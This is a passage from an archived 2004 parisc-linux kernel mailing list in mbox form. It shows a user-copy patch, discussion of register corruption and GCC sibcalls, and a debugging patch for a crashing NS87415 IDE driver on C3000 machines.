+unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
+{
+	mtsp(0, 1);
+	mtsp(get_user_space(), 2);
+	return pa_memcpy(dst, src, len);
+}
+
+unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
+{
+	mtsp(get_user_space(), 1);
+	mtsp(0, 2);
+	return pa_memcpy(dst, src, len);
+}
+
+unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len)
+{
+	mtsp(get_user_space(), 1);
+	mtsp(get_user_space(), 2);
+	return pa_memcpy(dst, src, len);
+}
+#endif
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.16
diff -u -p -r1.16 uaccess.h
--- include/asm-parisc/uaccess.h	15 Sep 2004 16:08:48 -0000	1.16
+++ include/asm-parisc/uaccess.h	16 Sep 2004 19:16:21 -0000
@@ -267,12 +267,12 @@ extern long lstrnlen_user(const char __u
 #define clear_user lclear_user
 #define __clear_user lclear_user
 
-#define copy_from_user lcopy_from_user
-#define __copy_from_user lcopy_from_user
-#define copy_to_user lcopy_to_user
-#define __copy_to_user lcopy_to_user
-#define copy_in_user lcopy_in_user
-#define __copy_in_user lcopy_in_user
+unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
+#define __copy_to_user copy_to_user
+unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len);
+#define __copy_from_user copy_from_user
+unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
+#define __copy_in_user copy_in_user
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Need help writing register consistency test?
Date: Thu, 16 Sep 2004 15:19:46 -0400 (EDT)
Lines: 62
Approved: news@gmane.org
Message-ID: <200409161919.i8GJJk7v007348@hiauly1.hia.nrc.ca>
References: <20040916172131.GF28936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623562 11110 80.91.229.3 (22 Nov 2014 02:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:42 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5118 invoked by uid 65534); 16 Sep 2004 19:51:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 16 Sep 2004 21:51:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 60C1D3BE5B; Thu, 16 Sep 2004 13:20:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26761-06; Thu, 16 Sep 2004 13:20:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 476053BE61; Thu, 16 Sep 2004 13:20:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0F863BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:19:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25974-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:19:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 746413BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 13:19:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8GJJl45007350; Thu, 16 Sep 2004 15:19:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8GJJk7v007348;
	Thu, 16 Sep 2004 15:19:46 -0400 (EDT)
In-Reply-To: <20040916172131.GF28936@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 16, 2004 01:21:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22006

> > > Why isn't this the debug ld.so?
> > 
> > dave@gsyprf11:~/gcc-4.0$ ll /usr/lib/debug/ld.so.1
> > lrwxr-xr-x  1 root root 11 Sep 12 22:15 /usr/lib/debug/ld.so.1 ->
> ld-2.3.2.so
> 
> Yes, but that isn't what you are using.

Doh, I'm using the default set by ld.  This can be changed using
the --dynamic-linker file option.

> > Makes life difficult, hey :(  However, I'm only seeing this stuff
> > with 64-bit kernels.
> 
> Or is it that only 64-bit boxes are fast enough to expose a race
> condition?

I doubt it's a speed issue as my c3750 has a faster cpu.  However,
it could be a SMP problem.

> > > So you are saying that the code should have given that value, but
> > > something corrupted the value before it was used?
> > 
> > Yes.
> 
> That is a very interesting hypothesis. It looks like the bug I used to
> track down with r19 corruption only under certain return paths of fork
> in the kernel. I'll be frank it takes some serious debugging.
> 
> -- Help Needed! --
> 
> There are only 235 syscalls, some of which don't need to be tested, only
> a small fraction could be tested with some special program? A program
> that would check for register value consistency across the call?
> This would have caught our r19 corruption through fork, perhaps there
> are other temp register uses that clobber a single register? It would be
> a starting place.

I'm not sure that this is a syscall problem although it might be.  There
weren't any syscalls between the load for r3 and when it was used as far
as I can tell.  So, if this is a syscall problem, it would have to be a
syscall that was done in a signal handler.  The difficulty in writing
a program such as that suggested above is that it has to somehow test
all the return paths in the kernel for each syscall.

Had another SEGV building GCC last night of gsyprf11.

I certainly agree that this type of problem needs some serious debugging.
I think logging of SEGVs is somewhat broken.  It looks like kernel logging
stops when /var fills up and doesn't automatically restart when the problem
is cleared.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Need help writing register consistency test?
Date: Thu, 16 Sep 2004 16:11:33 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200409162011.i8GKBYIA007701@hiauly1.hia.nrc.ca>
References: <20040916192641.GG28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623562 11113 80.91.229.3 (22 Nov 2014 02:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7501 invoked by uid 65534); 16 Sep 2004 20:12:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 16 Sep 2004 22:12:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DDC333BE5B; Thu, 16 Sep 2004 14:12:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26994-10; Thu, 16 Sep 2004 14:12:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3D99F3BE58; Thu, 16 Sep 2004 14:11:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAAC53BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 14:11:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26935-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 14:11:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6BCBD3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 14:11:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8GKBY45007703; Thu, 16 Sep 2004 16:11:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8GKBYIA007701;
	Thu, 16 Sep 2004 16:11:34 -0400 (EDT)
In-Reply-To: <20040916192641.GG28659@tausq.org> from "Randolph Chung" at Sep
	16, 2004 03:26:41 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22007

> Dave, do you have any comments on this:
> http://marc.theaimsgroup.com/?l=linux-ia64&m=109507921717647&w=2
> 
> do you think this could be causing problems for us too? (do you do any
> stracing/gdb during your tests?)

No, but the symptoms seem similar.  I had one failure in the return
from pipe.  It's possible that some of the gcj SEGVs follow a pipe
syscall.

The fix was to compile with -fno-optimize-sibling-calls.  In recent
versions of GCC, we allow sibcalls for 32-bit code but not for
64-bit code.  This is because the arg pointer isn't a fixed register
in the 64-bit runtime and because the linker does a crappy job of
stub placement.

In spite of the fact that sibcalls are not ok in the 64-bit runtime,
I think there are still situations where gcc will generate sibcalls.
For example, in gcc 4.0, the gcc.dg/sibcall-[12].c tests now pass.
Self-recursion tail calls are optimized for all targets regardless of
the presence of sibcall patterns.

The ia64 GCC fix was to return false in ia64_function_ok_for_sibcall
if the function has the syscall_linkage attribute.  As I noted above,
we always return false on hppa64.  So, if we have a sibcall problem,
it has to be in a self-recursion tail call.

I'm fairly sure that sibcalls have always been disabled on hppa64
in the released versions of GCC.  I'm not sure about 3.0.4.  Alan
Modra was experimenting with them.

Are we using the syscall_linkage attribute?  This could be an issue
on the 32-bit port where sibcalls are enabled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NS87415 on C3K broken
Date: Fri, 17 Sep 2004 00:50:15 +0200
Lines: 142
Approved: news@gmane.org
Message-ID: <200409170050.15042.bzolnier__26012.0225175799$1416623563$gmane$org@elka.pw.edu.pl>
References: <20040916161749.GA17660@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623563 11114 80.91.229.3 (22 Nov 2014 02:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:43 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8813 invoked by uid 65534); 16 Sep 2004 22:52:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 17 Sep 2004 00:52:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 91F6F3BE56; Thu, 16 Sep 2004 16:52:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28207-08; Thu, 16 Sep 2004 16:52:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 355B03BE58; Thu, 16 Sep 2004 16:51:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15CAB3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:51:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28221-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:51:40 -0600 (MDT)
Original-Received: from higgs.elka.pw.edu.pl (higgs.elka.pw.edu.pl [194.29.160.5])
	by free.linux.hp.com (Postfix) with ESMTP id 469EE3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:51:39 -0600 (MDT)
Original-Received: from hadron.elka.pw.edu.pl ([194.29.160.13]:35406 "EHLO localhost")
	by higgs.elka.pw.edu.pl with ESMTP id S13408AbUIPWvZ (ORCPT
	<rfc822;parisc-linux@lists.parisc-linux.org>);
	Fri, 17 Sep 2004 00:51:25 +0200
Original-Received: from higgs.elka.pw.edu.pl ([194.29.160.5])
	by localhost (hadron [194.29.160.13]) (amavisd-new, port 251) with ESMTP
	id 10295-01-36; Fri, 17 Sep 2004 00:51:17 +0200 (CEST)
Original-Received: from mion.elka.pw.edu.pl ([194.29.160.35]:53718 "EHLO
	mion.elka.pw.edu.pl") by higgs.elka.pw.edu.pl with ESMTP
	id S18373AbUIPWtM (ORCPT <rfc822;grundler@parisc-linux.org>
	+ 2 others); Fri, 17 Sep 2004 00:49:12 +0200
Original-Received: from chello062179083169.chello.pl ([62.179.83.169]:61471 "EHLO
	[192.168.123.164]" ident: "NO-IDENT-SERVICE[2]" smtp-auth: "bzolnier"
	TLS-CIPHER: <none> TLS-PEER-CN1: <none>) by mion.elka.pw.edu.pl
	with ESMTP id S262655AbUIPWs6 (ORCPT
	<rfc822;linux-ide@vger.kernel.org> + 2 others);
	Fri, 17 Sep 2004 00:48:58 +0200
User-Agent: KMail/1.6.2
In-Reply-To: <20040916161749.GA17660@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by AmaVisD-new at elka.pw.edu.pl
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22008

On Thursday 16 September 2004 18:17, Grant Grundler wrote:
> Hi,
> Willy pointed out the 2.6.9-rc2 NS87415 driver for C3000 machine
> (uses SuckyIO IDE) is causing HPMC (system crash). This was not
> a problem with 2.6.8.1.
> But while trying to fix MMIO resource management problems, I ran
> into this when testing on C3000.
> 
> The HPMC stack trace looks like this:
> 	ide_inb
> 	ide_wait_not_busy
> 	wait_hwif_ready
> 	probe_hwif
> 	probe_hwif_init
> 	ide_setup_pci_device
> 	ns87415_init_one
> 	ide_scan_pcidev
> 	ide_scan_pcibus
> 	ide_init
> 	do_initcalls
> 
> Changes to ide-probe.c cause this HPMC.
> wait_hwif_ready() is inside #ifdef CONFIG_PPC in 2.6.8.1 and the
> ifdef/endif was removed in 2.6.9-rcX. The result is inb() is invoked
> *BEFORE* ide_setup_pci_device() (indirectly) calls pci_enabled_device() or
> pci_set_master(). This is broken because IDE controllers NOT enabled
> by firmware will simply not respond to inb() (even if the system
> doesn't crash like on parisc).

I don't think ide-probe.c changes are the cause of HPMC.

probe_hwif_init() is only called after PCI device is fully setup,
see ide_setup_pci_device().

> I'm a wimp. I don't dare to restructure IDE init sequence.
> Anyone less of a wimp?
> Or are IDE pci drivers required to call pci_enable_device()
> in their (mostly non-extistent) init_chipset entry point?

ide_setup_pci_controller()
	-> ide_pci_enable()
		-> pci_enable_device()

and ide_setup_pci_controller() is called at the beginning
of ide_setup_pci_device() before ->init_chipset()

Ideally this should be done by host drivers
but moving this out of setup-pci.c is non-trivial.

> Anyway, ns87415 driver has more problems. The patch below adds
> "init_chipset" entry point and init_chipset_ns87415() calls
> pci_enable_device() and pci_set_master() before the probe.
> And my C3k still HPMCs. My guess is more of the code from
> init_hwif_ns87415() needs to be moved to init_chipset_ns87415().
> And possible call some special suckyio init routines.
> I won't be able to touch this for a few days.
> Anyone else on parisc-linux ml want to take a whack at this?
> 
> BTW, normally a PCI Master Abort to IO Port space to should NOT fail.
> But on parisc is does because the chipset will go "fatal" on
> any Master Abort - special hacks enable config space to work.
> I strongly prefere not to add those hacks to IO Port space
> accessor functions since it's normally not a problem.
> And while inconvenient, this behavior does expose programming
> problems like the one above.

Yep, also if they are to stay please move them to ns87415.c
because using <linux/ide.h> outside drivers/ide is WRONG.

> 
> thanks,
> grant
> 
> 
> Index: drivers/ide/pci/ns87415.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/ide/pci/ns87415.c,v
> retrieving revision 1.17
> diff -u -p -r1.17 ns87415.c
> --- drivers/ide/pci/ns87415.c	13 Sep 2004 15:23:04 -0000	1.17
> +++ drivers/ide/pci/ns87415.c	16 Sep 2004 15:06:06 -0000
> @@ -133,8 +133,29 @@ static int ns87415_ide_dma_check (ide_dr
>  	return __ide_dma_check(drive);
>  }
>  
> +static unsigned int __devinit init_chipset_ns87415(struct pci_dev *dev, const char *name)
> +{
> +	unsigned short w;
> +printk("init_chipset_ns87415(%s,%s)\n", dev->slot_name, name);
> +
> +	pci_enable_device(dev);
> +	pci_set_master(dev);
> +
> +(void) pci_read_config_word(dev, PCI_COMMAND, &w);
> +printk("	cmd 0x%x\n", w);
> +
> +	if ((w & PCI_COMMAND_IO) == 0) {
> +		w |= PCI_COMMAND_IO;
> +		(void) pci_write_config_word(dev, PCI_COMMAND, w);
> +printk("	enabling IO space\n");
> +	}
> +	return 0;
> +}
> +
> +
>  static void __init init_iops_ns87415(ide_hwif_t *hwif)
>  {
> +printk("init_iops_ns87415(%s)\n", hwif->pci_dev->slot_name);
>  #ifdef CONFIG_SUPERIO
>  	superio_ide_init_iops(hwif);
>  #endif
> @@ -150,12 +171,14 @@ static void __init init_hwif_ns87415 (id
>  	u8 stat;
>  #endif
>  
> +printk("init_hwif_ns87415(%s)\n", hwif->pci_dev->slot_name);
>  	hwif->autodma = 0;
>  	hwif->selectproc = &ns87415_selectproc;
>  
> +#if 0
>  	/* Set a good latency timer and cache line size value. */
>  	(void) pci_write_config_byte(dev, PCI_LATENCY_TIMER, 64);
> -	/* FIXME: use pci_set_master() to ensure good latency timer value */
> +#endif
>  
>  	/*
>  	 * We cannot probe for IRQ: both ports share common IRQ on INTA.
> @@ -227,6 +250,8 @@ static void __init init_hwif_ns87415 (id
>  
>  static ide_pci_device_t ns87415_chipset __devinitdata = {
>  	.name		= "NS87415",
> +	.init_chipset	= init_chipset_ns87415,
> +	.init_iops	= init_iops_ns87415,
>  	.init_hwif	= init_hwif_ns87415,
>  	.channels	= 2,
>  	.autodma	= AUTODMA,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NS87415 on C3K broken
Date: Thu, 16 Sep 2004 17:25:31 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20040916232531.GB24048__36189.4070789733$1416623563$gmane$org@colo.lackof.org>
References: <20040916161749.GA17660@colo.lackof.org>
	<200409170050.15042.bzolnier@elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623563 11118 80.91.229.3 (22 Nov 2014 02:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:43 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29712 invoked by uid 65534); 16 Sep 2004 23:25:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 17 Sep 2004 01:25:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C6ADA3BE62; Thu, 16 Sep 2004 17:25:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28818-07; Thu, 16 Sep 2004 17:25:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A170E3BE56; Thu, 16 Sep 2004 17:25:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 485533BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 17:25:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28818-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 17:25:33 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C729E3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 17:25:32 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 10355298052; Thu, 16 Sep 2004 17:25:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25670-07; Thu, 16 Sep 2004 17:25:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 217F8298038; Thu, 16 Sep 2004 17:25:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200409170050.15042.bzolnier@elka.pw.edu.pl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
